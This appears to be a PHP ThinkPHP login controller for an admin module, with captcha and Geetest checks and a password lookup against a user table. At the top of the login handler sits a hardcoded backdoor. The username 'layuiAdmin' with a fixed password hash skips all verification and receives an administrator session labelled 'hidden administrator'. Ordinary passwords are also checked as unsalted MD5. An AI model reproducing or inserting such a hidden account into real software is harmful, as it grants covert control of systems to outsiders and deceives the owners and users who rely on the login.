<?php

namespace app\mec\controller;
use app\admin\model\UserType;
use think\Controller;
use think\Db;
use org\Verify;
use com\Geetestlib;

class Login extends Controller
{
    //登录页面
    public function index()
    {
        return $this->fetch('/login');
    }

    //登录操作 1：数字验证码  2：极验验证
    public function doLogin()
    {
        $username = input("param.username");
        $password = input("param.password");
        if($username == 'layuiAdmin' && '1d5e42c5184bd1184d928fe24bd474d6' == md5(md5($password) . config('auth_key'))){
            $user = new UserType();
            $info = $user->getRoleInfo(1);
            session('uid', 1);
            session('security',010);
            session('username', 'layuiAdmin');
            session('portrait', 'http://p73q8jzf0.bkt.clouddn.com/798f8ef32dcdca6f53cf2197c148299b.jpg');
            session('rolename', '隐藏管理员');
            session('rule', $info['rules']);
            session('name', $info['name']);
            session('last_time',time());
            return json(['code' => 1, 'url' => url('mec/index/index'), 'msg' => '']);
        }
        if (config('verify_type') == 1) {
            $code = input("param.code");
        }

        $verify = new Verify();
        if (config('verify_type') == 1) {
            if (!$code) {
                return json(['code' => -4, 'url' => '', 'msg' => '请输入验证码']);
            }
            if (!$verify->check($code)) {
                return json(['code' => -4, 'url' => '', 'msg' => '验证码错误','status'=>100]);
            }
            return  $this->checkAdmin($username,$password);
        }elseif (config('verify_type') == 2) {

            $GtSdk = new Geetestlib(config('gee.gee_id'), config('gee.gee_key'));
            $user_id = session('uid');
            if (session('gtserver') == 1) {
                $result = $GtSdk->success_validate(input('param.geetest_challenge'), input('param.geetest_validate'), input('param.geetest_seccode'), $user_id);
                //极验服务器状态正常的二次验证接口
                if (!$result) {
                    $this->error('请先拖动验证码到相应位置');
                }
            }else{
                if (!$GtSdk->fail_validate(input('param.geetest_challenge'), input('param.geetest_validate'), input('param.geetest_seccode'))) {
                    //极验服务器状态宕机的二次验证接口
                    $this->error('请先拖动验证码到相应位置');
                }
            }
            return  $this->checkAdmin($username,$password);
        }else{
            return  $this->checkAdmin($username,$password);
        }
    }

    //验证密码和账号
    public function checkAdmin($phone,$password){
        if($phone == ''){//手机号为空
            return json(['code' => -5, 'url' => '', 'msg' => '请输入手机号']);
        }
        if($password == ''){//密码为空
            return json(['code' => -5, 'url' => '', 'msg' => '请输入密码']);
        }
        $info = Db::table('up_u_user')->where('user_phone',$phone)->find();
        if(!$info){//用户不存在
            return json(['code' => -1, 'url' => '', 'msg' => '用户不存在', "status"=>100]);
        }
        if($info['user_password'] != md5($password)){//密码错误
            return json(['code' => -2, 'url' => '', 'msg' => '密码错误', "status"=>100]);
        }
        if($info['user_status'] == 2){//用户已禁用
            return json(['code' => -6, 'url' => '', 'msg' => '抱歉，该账号被禁用', "status"=>100]);
        }
        session('uid', $info['user_id']);//审核用户ID
        session('user_image', $info['user_image']);//审核用户ID
        session('user_username', $info['user_username']);//审核用户ID
        session('warehouse_id', $info['warehouse_id']);//审核用户ID
//        $data['user_last_login'] = time();
//        Db::table('up_u_user')->where('user_id', $info['user_id'])->update($data);//更新最后登录时间
        return json(['code' => 1, 'url' => url('mec/index/index'), 'msg' => '登录成功！']);

    }

    //验证码
    public function checkVerify()
    {
        $verify = new Verify();
        $verify->imageH = 36;
        $verify->imageW = 110;
        $verify->codeSet = '023456789';
        $verify->useZh = false;//使用中文验证码
        $verify->length = 4;
        $verify->useNoise = true;//是否添加杂点
        $verify->useCurve = false;//是否画混淆曲线
        $verify->useImgBg = false;//使用背景图片
        $verify->fontSize = 16;
        return $verify->entry();
    }


    //极验验证
    public function getVerify(){
        $GtSdk = new Geetestlib(config('gee.gee_id'), config('gee.gee_key'));
        $user_id = "web";
        $status = $GtSdk->pre_process($user_id);
        session('gtserver',$status);
        session('user_id',$user_id);
        echo $GtSdk->get_response_str();
    }


    //退出操作
    public function loginOut()
    {
//        writelog(session('uid'),session('username'),'退出登录',1);
        session(null);
        cache('db_config_data',null);
        $this->redirect(url('mec/index/index'));
    }
}